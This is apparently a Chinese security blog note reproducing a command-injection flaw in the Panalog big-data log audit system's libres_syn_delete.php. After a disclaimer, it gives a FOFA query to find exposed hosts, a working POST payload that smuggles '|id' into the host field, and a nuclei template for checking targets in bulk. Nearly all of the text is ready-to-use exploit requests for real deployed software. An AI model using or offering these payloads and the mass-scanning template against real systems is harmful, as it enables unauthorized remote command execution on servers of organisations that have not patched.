免责声明：
本文内容为学习笔记分享，仅供技术学习参考，请勿用作违法用途，任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责，与作者无关！！！
漏洞描述
Panalog大数据日志审计系统libres_syn_delete.php存在命令执行
fofa语句
app="Panabit-Panalog"漏洞复现
打开页面
构造payload
POST /content-apply/libres_syn_delete.php HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Content-Length: 54
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
token=1&id=2&host=|id >2cWKiiWovWYAIcNUBPkZph4xPLs.txt访问生成txt页面
GET /content-apply/2cWKiiWovWYAIcNUBPkZph4xPLs.txt HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36
Connection: close
Accept-Encoding: gzip, deflate
nuclei批量验证
id: Panalog-RCE
info:
name: Panalog大数据日志审计系统libres_syn_delete.php存在命令执行
author: changge
severity: high
description: Panalog大数据日志审计系统libres_syn_delete.php存在命令执行
metadata:
fofa-query: app="Panabit-Panalog"
requests:
- raw:
- |
POST /content-apply/libres_syn_delete.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: {{Hostname}}
Content-Length: 33
Content-Type: application/x-www-form-urlencoded
token=1&id=2&host=|id >{{randstr}}.txt
- |
GET /content-apply/{{randstr}}.txt HTTP/1.1
Host:{{Hostname}}
matchers:
- type: dsl
dsl:
- "contains(body_2, 'uid')"